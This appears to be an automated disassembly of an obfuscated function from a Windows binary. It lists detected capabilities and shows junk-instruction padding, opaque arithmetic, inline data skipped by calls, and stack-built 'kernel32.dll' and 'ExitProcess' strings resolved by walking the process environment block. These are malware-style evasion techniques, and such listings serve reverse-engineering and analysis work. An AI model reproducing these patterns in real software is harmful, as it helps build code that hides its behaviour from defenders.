Function at 0x46671e
Capabilities:
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add eax, 0xc568
pop eax
push edx
sub edx, 0xc3e5
call 0x4632f5
add byte [esi + esi + 0x35], cl
dec ebx
inc edx
inc edx
inc ecx
inc edx
xor eax, 0x4c48339
pop edx
push ecx
call 0x463306
add byte [edi + 0x50], cl
xor al, 0x42
dec edi
aaa
add esp, 4
or ecx, 0xdd6a
pop ecx
mov dword [ebp - 0x2c], 1
push ecx
push edx
add esp, 4
sub ecx, 0x1670a
and ecx, 0x15649
add ecx, 0x178e4
jmp 0x463333
pop ecx
push eax
sub eax, 0x16ca2
jmp 0x463342
jmp 0x463348
pop eax
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x46352a
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfac]
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push eax
push ecx
add esp, 4
call 0x463555
add byte [esi + 0x4b], cl
dec ecx
cmp eax, 0x4349483a
add esp, 4
add eax, 0x1148c
pop eax
push ebx
or ebx, 0x145b8
sub ebx, 0x4fb4
jmp 0x463573
pop ebx
push ecx
push ecx
add esp, 4
xor ecx, 0xe868
or ecx, 0x7c72
pop ecx
push ecx
push eax
add esp, 4
jmp 0x463591
and ecx, 0x8081
jmp 0x46359f
or ecx, 0x1697c
pop ecx
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push ebx
push edx
add esp, 4
sub ebx, 0x88a6
pop ebx
push ebx
and ebx, 0xc305
sub ebx, 0xd3d9
pop ebx
push eax
push esi
add esp, 4
call 0x4635fe
add byte [edx + 0x4f], cl
dec esp
inc ebp
cmp al, 0x4c
cmp dword [ebx + 0x4e], eax
add esp, 4
pop eax
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x46365e
mov dword [ebp - 0x149c], 1
jmp 0x463668
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x4666db
push ecx
or ecx, 0x17bb2
sub ecx, 0x20fb
call 0x46369f
add byte [ebx], bh
inc edx
cmp byte [ecx + eax*2 + 0x4d], al
inc esp
dec ebx
cmp byte [ebx + 0x575904c4], al
push eax
add esp, 4
or edi, 0x1440
and edi, 0x5ede
pop edi
push ecx
push ecx
add esp, 4
sub ecx, 0x12092
or ecx, 0xd824
or ecx, 0xcddf
xor ecx, 0x14cb5
pop ecx
push edx
and edx, 0x16e68
add edx, 0xf2c5
and edx, 0x1542d
pop edx
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x463862
push ecx
jmp 0x463738
sub ecx, 0xf7ab
pop ecx
push esi
jmp 0x463746
or esi, 0x11391
jmp 0x463751
pop esi
push ecx
or ecx, 0xf990
and ecx, 0xd3e9
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push ebx
and ebx, 0x6f9c
add ebx, 0x18354
and ebx, 0x8549
pop ebx
push eax
push ecx
add esp, 4
and eax, 0x3129
call 0x4637df
add byte [edi + 0x4a], al
xor eax, 0x434f3450
xor ecx, dword [esi - 0x7d]
les eax, [eax + ebx*2]
imul ecx, dword [ebp - 0xfb4], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfb4], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d44]
imul ecx, dword [ebp - 0xfb4]
imul eax, dword [ebp - 0xfb4], 0x138
sub ecx, eax
mov dword [ebp - 0xfb8], ecx
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push edi
push edi
add esp, 4
jmp 0x46383e
pop edi
push ebx
push eax
add esp, 4
call 0x463850
add byte [ecx + eax*2 + 0x48], cl
dec ebp
push eax
inc esi
add esp, 4
or ebx, 0x910c
pop ebx
push esi
xor esi, 0x10f89
pop esi
push esi
push ebx
add esp, 4
call 0x463873
add byte [edx + 0x49], al
inc edi
add esp, 4
pop esi
push edx
and edx, 0x10f9d
add edx, 0x17d4d
jmp 0x46388d
or edx, 0x48ca
pop edx
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push esi
push edi
add esp, 4
xor esi, 0x4799
and esi, 0x35e8
pop esi
push esi
push esi
add esp, 4
and esi, 0xfb64
add esi, 0x5281
pop esi
push eax
sub eax, 0xf35a
or eax, 0x107c9
pop eax
mov eax, dword [ebp - 0x3bc]
imul ecx, dword [eax + 4], 0x138
add ecx, 0x44f3644b
mov edx, dword [ebp - 0x3bc]
imul eax, dword [edx + 4], 0x138
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3bc]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3bc]
imul edx, dword [eax + 4], 0x138
sub ecx, edx
mov eax, dword [ebp - 0x3bc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x1f58], ecx
push ebx
and ebx, 0xdc7a
pop ebx
push edx
push esi
add esp, 4
xor edx, 0x9993
pop edx
push ebx
push edi
add esp, 4
and ebx, 0x5657
add ebx, 0xbee0
or ebx, 0x13756
or ebx, 0x6db7
pop ebx
mov dword [ebp - 0x14a4], 1
push edx
add edx, 0x12407
jmp 0x4639b1
jmp 0x4639ba
pop edx
push edx
push esi
add esp, 4
and edx, 0xbd09
add edx, 0xdd52
pop edx
push eax
sub eax, 0xbb53
pop eax
mov dword [ebp - 0x1f5c], 0x38
mov dword [ebp - 0x1f60], 0xe6
mov dword [ebp - 0x1f64], 0x6e
mov dword [ebp - 0x1f68], 0x6e
mov dword [ebp - 0x1f6c], 0x78
mov dword [ebp - 0x1530], 1
push edi
add edi, 0x1f91
xor edi, 0x620
and edi, 0x2603
jmp 0x463a2b
pop edi
push edx
and edx, 0x15506
xor edx, 0x16d89
jmp 0x463a42
pop edx
imul edx, dword [ebp - 0x1530], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x1530], 0x138
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1530]
imul ecx, dword [ebp - 0x1530], 0x138
sub edx, ecx
mov dword [ebp - 0x1534], edx
push eax
push edi
add esp, 4
jmp 0x463a8a
pop eax
push esi
call 0x463a99
add byte [ebx], dh
xor al, 0x4f
dec esi
cmp eax, 0xc483363d
add al, 0xe8
or eax, dword [eax]
add byte [eax], al
add byte [edi + 0x4d], cl
dec eax
xor ecx, dword [ebp + 0x4c]
cmp eax, 0x834d3e42
les eax, [esi + ebx*2]
push esi
sub esi, 0x1515c
or esi, 0x7c2e
xor esi, 0x416b
xor esi, 0x16bb8
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0x3d8f
add ecx, 0x328a
add ecx, 0x13eb2
pop ecx
mov edx, dword [ebp - 0x928]
add edx, 0x138
imul eax, dword [ebp - 0x924], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x924], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x924]
mov dword [ebp - 0x1d4c], edx
mov edx, dword [ebp - 0x1d4c]
mov dword [ebp - 0x1d50], edx
mov eax, dword [ebp - 0x1d50]
sub eax, 0x6e
mov dword [ebp - 0x1d54], eax
mov dword [ebp - 0xa08], 1
push edx
push esi
add esp, 4
or edx, 0x2cf0
xor edx, 0x484f
sub edx, 0x16b92
pop edx
push eax
sub eax, 0xbc3e
add eax, 0x3c23
or eax, 0x8868
sub eax, 0x10a18
pop eax
imul ecx, dword [ebp - 0xa08], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xa08], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d54]
imul ecx, dword [ebp - 0xa08]
imul eax, dword [ebp - 0xa08], 0x138
sub ecx, eax
mov dword [ebp - 0xa0c], ecx
push ebx
sub ebx, 0x12048
jmp 0x463bb6
pop ebx
push ecx
jmp 0x463bbf
call 0x463bcd
add byte [edi + edi + 0x4b], cl
cmp al, 0x3e
inc esp
cmp al, byte [edx - 0x7d]
les eax, [ecx + eax*4]
jmp 0x46ee6f
mov dword [ebp - 0x3c0], 0
call 0x4666ea
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push edx
jmp 0x466700
pop edx
push ecx
and ecx, 0xd8e
add ecx, 0x10ec3
call 0x46671e
add byte [esi + eax*2 + 0x50], al
inc esp
cmp al, byte ss:[esi + 0x44]
xor al, 0x83
les eax, [ecx + eax*4]
leave
enter 0x15c, 0
pop ecx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push ecx
or ecx, 0x95ec
add ecx, 0x185a0
pop ecx
push esi
jmp 0x466748
sub esi, 0x16f47
sub esi, 0xe5c7
call 0x466762
add byte [eax], bh
xor cl, byte [esi + 0x3d]
xor edi, dword [0xc4833745]
add al, 0x5e
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push eax
push ecx
add esp, 4
add eax, 0xcf7b
pop eax
push edx
push edi
add esp, 4
sub edx, 0x124f4
sub edx, 0x16d48
pop edx
push edi
sub edi, 0xeb18
or edi, 0xe422
and edi, 0x20fd
pop edi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push ebx
call 0x46681e
add byte [eax + 0x4e], al
xor ecx, dword [ebp + 0x33]
inc ebx
add esp, 4
and ebx, 0x10dd
pop ebx
push esi
push ecx
add esp, 4
call 0x466839
add byte [esi], dh
inc esp
inc esp
cmp al, byte [edx + 0x47]
add esp, 4
and esi, 0x1681
pop esi
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push edx
or edx, 0xb0af
and edx, 0xebb2
pop edx
push edi
and edi, 0xe4f3
and edi, 0x14a31
add edi, 0xde4e
call 0x4668a2
add byte [ebp + 0x4c], al
cmp ecx, dword [ebx + 0x32]
inc ebp
inc ebp
add esp, 4
pop edi
mov dword [ebp - 0x1fa4], 0xe
push eax
push eax
add esp, 4
jmp 0x4668bd
and eax, 0x313
add eax, 0xc6fe
and eax, 0x1f96
pop eax
push ecx
push esi
add esp, 4
add ecx, 0xdac3
add ecx, 0xc345
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push edi
jmp 0x466901
pop edi
push ecx
push eax
add esp, 4
or ecx, 0xcc4f
and ecx, 0x856f
jmp 0x466919
pop ecx
push eax
jmp 0x466922
add eax, 0x16fbb
pop eax
mov dword [ebp - 0x1fa8], 0xffffffff
push esi
or esi, 0xf9ca
sub esi, 0x13855
and esi, 0x5de3
pop esi
push eax
push ecx
add esp, 4
xor eax, 0x64ee
sub eax, 0x133db
sub eax, 0xc580
and eax, 0x117f3
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x466982
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ecx
xor ecx, 0x140fd
jmp 0x466992
xor ecx, 0x142a3
pop ecx
push ecx
xor ecx, 0x7283
call 0x4669b0
add byte [edx + 0x40], cl
cmp dword [eax + edi], esi
inc ebx
dec edi
xor al, 0x3f
aas
add esp, 4
pop ecx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4669fc
push ebx
and ebx, 0xae5f
jmp 0x4669d2
pop ebx
push ebx
jmp 0x4669dc
call 0x4669ec
add byte [ebp + 0x44], cl
xor cl, byte [ebp + 0x42]
inc edx
dec edx
inc esp
dec ecx
inc edi
add esp, 4
jmp 0x4669f6
pop ebx
jmp 0x466c2a
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ecx
push eax
add esp, 4
and ecx, 0x166cf
sub ecx, 0x11a2e
xor ecx, 0x10065
pop ecx
push ecx
and ecx, 0x482c
and ecx, 0x1fa3
and ecx, 0xc07a
xor ecx, 0xab8
pop ecx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x466aab
push esi
jmp 0x466a70
jmp 0x466a79
xor esi, 0x2b34
pop esi
push edx
xor edx, 0x16b2b
xor edx, 0xfcdf
xor edx, 0x489b
sub edx, 0x1523b
pop edx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x466bdc
cmp dword [ebp - 0xc08], 0
jle 0x466bd0
push ebx
jmp 0x466ac2
jmp 0x466aca
xor ebx, 0x148c3
pop ebx
push edx
push eax
add esp, 4
xor edx, 0x2909
jmp 0x466ae3
add edx, 0x6a59
pop edx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x466b6c
push ecx
add ecx, 0x160f8
or ecx, 0xccce
sub ecx, 0x3f49
and ecx, 0xa1ed
pop ecx
push edx
add edx, 0x11876
call 0x466b2e
add byte [ebx + 0x4c], cl
cmp eax, 0x424f3d41
add esp, 4
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x466b54
mov dword [ebp - 0x14c0], 1
jmp 0x466b5e
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x466bd0
push edx
add edx, 0x12e6e
xor edx, 0x3e86
xor edx, 0x1a3b
pop edx
push edi
push eax
add esp, 4
add edi, 0x47a5
or edi, 0x1506d
and edi, 0xd5f
xor edi, 0x16f48
pop edi
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x466aab
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x466c25
push ecx
or ecx, 0x2b99
pop ecx
push esi
jmp 0x466bf6
pop esi
push edx
xor edx, 0x12de
xor edx, 0x131c3
pop edx
push ebx
call 0x466c13
add byte [edx + 0x42], al
dec esi
xor edi, dword ds:[0x4c48340]
pop ebx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x466c66
jmp 0x466973
push ebx
push esi
add esp, 4
call 0x466c3e
add byte [edx], dh
xor eax, 0x3a4b4d43
inc esp
dec ecx
xor eax, dword [ebx - 0x1c7efb3c]
mov cl, byte [ebx]
add dword [eax], eax
add ebx, 0x135d4
pop ebx
push ebx
add ebx, 0x15937
or ebx, 0x54b4
pop ebx
mov dword [ebp - 0x3cc], 0
push ebx
sub ebx, 0xaa46
or ebx, 0xda41
or ebx, 0x764a
pop ebx
push edi
push edi
add esp, 4
xor edi, 0x7b0c
xor edi, 0xc22a
or edi, 0x163ab
or edi, 0x595c
pop edi
push edx
push esi
add esp, 4
add edx, 0x14d38
sub edx, 0x5a7
or edx, 0x6c19
add edx, 0x4920
pop edx
push edi
xor edi, 0x13831
sub edi, 0x7080
and edi, 0x1375f
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edi
call 0x466cec
add byte [edx], bh
dec esp
inc ebp
dec edi
inc esi
inc eax
add esp, 4
pop edi
push eax
jmp 0x466cfa
call 0x466d07
add byte [ebx + 0x3f], cl
push eax
cmp al, 0x41
push eax
inc ebx
add esp, 4
add eax, 0x12a41
pop eax
mov dword [ebp - 0x1fac], 0xffffffff
push ecx
push edx
add esp, 4
xor ecx, 0xa26a
jmp 0x466d2e
add ecx, 0x882b
add ecx, 0xb648
pop ecx
push esi
push esi
add esp, 4
add esi, 0xb0d2
add esi, 0x2340
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x466d6a
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edx
sub edx, 0x1733
or edx, 0x13b0b
or edx, 0x13e78
pop edx
push edi
push esi
add esp, 4
or edi, 0x4a6a
call 0x466d98
add byte [0x334f473f], bh
dec esp
cmp dh, byte [ebx]
cmp eax, 0x5f04c483
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x466de4
push ebx
sub ebx, 0x17181
pop ebx
push edx
jmp 0x466dbe
sub edx, 0xa1f5
call 0x466dd4
add byte [ebx + 0x38], al
cmp eax, 0x464b3c4c
cmp esi, dword [edx + edi]
add esp, 4
jmp 0x466dde
pop edx
jmp 0x467012
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ecx
sub ecx, 0x1436b
pop ecx
push esi
push ecx
add esp, 4
add esi, 0x10d2
or esi, 0x34ff
call 0x466e22
add byte [ebp + 0x45], al
dec ecx
push eax
dec ecx
dec ecx
cmp dword [0x4c48343], esi
or esi, 0xf308
pop esi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x466e93
push ebx
xor ebx, 0xcccb
pop ebx
push esi
jmp 0x466e60
call 0x466e6c
add byte [ebx + 0x45], al
dec esp
dec esi
dec edx
xor al, byte [ebx + 0xae804c4]
add byte [eax], al
add byte [eax], al
cmp byte [ebx], bh
inc ebp
inc eax
inc esi
inc eax
cmp al, 0x41
xor eax, dword [ebx - 0x74a1fb3c]
invalid
cmp dword [ebp - 0xc10], 0
jle 0x466fb8
push edi
xor edi, 0x125fb
pop edi
push eax
push edx
add esp, 4
sub eax, 0xb418
sub eax, 0xe748
pop eax
push edx
push ebx
add esp, 4
call 0x466ece
add byte [esi], dh
inc esp
inc ebx
cmp al, 0x3c
dec ecx
dec ecx
inc ecx
add esp, 4
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x466f54
push eax
push edi
add esp, 4
xor eax, 0x23e9
jmp 0x466efa
pop eax
push ecx
add ecx, 0x10e0
sub ecx, 0x66c4
pop ecx
push ebx
push edx
add esp, 4
jmp 0x466f13
or ebx, 0x112be
pop ebx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x466f3c
mov dword [ebp - 0x14cc], 1
jmp 0x466f46
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x466fb8
push ecx
xor ecx, 0x9ed3
and ecx, 0x4d78
xor ecx, 0xa32d
pop ecx
push ebx
xor ebx, 0x179c9
pop ebx
push eax
push eax
add esp, 4
call 0x466f82
add byte [esi], dh
xor esi, dword [ebx]
dec ebp
cmp dword [esi], edi
aas
add esp, 4
pop eax
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x466e93
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x46700d
push ebx
push ebx
add esp, 4
sub ebx, 0x108ac
xor ebx, 0x48ca
pop ebx
push ebx
and ebx, 0x15dbc
call 0x466ff5
add byte [ebx + 0x49], cl
xor bh, byte [esi]
inc esi
dec edx
dec edx
dec esi
add esp, 4
or ebx, 0x12892
pop ebx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x46704e
jmp 0x466d5b
push ecx
and ecx, 0x10c8
and ecx, 0xfa60
and ecx, 0xc8d7
pop ecx
push esi
call 0x467035
add byte [esi], dh
aaa
inc eax
dec edx
dec ebx
inc esi
cmp cl, byte [ecx - 0x7d]
les eax, [ebx + ebp*8]
add eax, dword [eax + 0x36]
cmp al, 0x81
out dx, al
and al, 0x2d
add dword [eax], eax
pop esi
mov dword [ebp - 0xa5c], 0
push eax
add eax, 0x15c3d
pop eax
push ebx
call 0x467065
add byte [eax + 0x33], cl
xor edi, dword [edx]
cmp dword ds:[esi + 0x48], eax
add esp, 4
call 0x467076
add byte [0x36504333], dh
dec esi
inc edi
dec eax
add esp, 4
sub ebx, 0x4891
pop ebx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
and ebx, 0x3e5f
call 0x4670e8
add byte [eax + edi + 0x40], cl
dec ebp
dec ebp
inc eax
add esp, 4
jmp 0x4670f1
sub ebx, 0x151da
pop ebx
push edx
add edx, 0x11f21
sub edx, 0xcd16
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
push edi
add esp, 4
and edi, 0x5fb1
xor edi, 0xd1b
jmp 0x4671b6
and edi, 0x13fdd
pop edi
push edx
or edx, 0x58c6
sub edx, 0xc4d4
and edx, 0x1513e
pop edx
push esi
push edi
add esp, 4
call 0x4671e6
add byte [0x33384845], bh
cmp al, 0x4f
inc ecx
inc ecx
add esp, 4
add esi, 0xd73d
or esi, 0x1479a
pop esi
push edi
jmp 0x4671fc
add edi, 0x112a5
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push eax
or eax, 0x11420
call 0x467241
add byte [0x334a3e3b], dh
dec esp
cmp dword [ebx], edi
inc edx
add esp, 4
pop eax
push ecx
push ebx
add esp, 4
and ecx, 0x1395d
pop ecx
push edi
push eax
add esp, 4
and edi, 0x10c78
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x467275
mov dword [ebp - 0x2e0], 0
jmp 0x467531
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
xor ebx, 0x1797e
pop ebx
push esi
call 0x46729d
add byte [edi + 0x40], cl
dec esp
xor al, 0x3d
inc ebx
push eax
add esp, 4
xor esi, 0x13f70
call 0x4672b5
add byte [ecx], bh
cmp al, 0x36
dec ebx
dec edi
dec ecx
inc edi
dec esi
add esp, 4
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x4672d1
mov dword [ebp - 0x2e0], 0
jmp 0x467531
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
aas
aam 0x81
adc bl, cl
mov dword [eax + 0x30303f2], edi
add eax, dword [ebx]
add ebp, edi
push cs
retf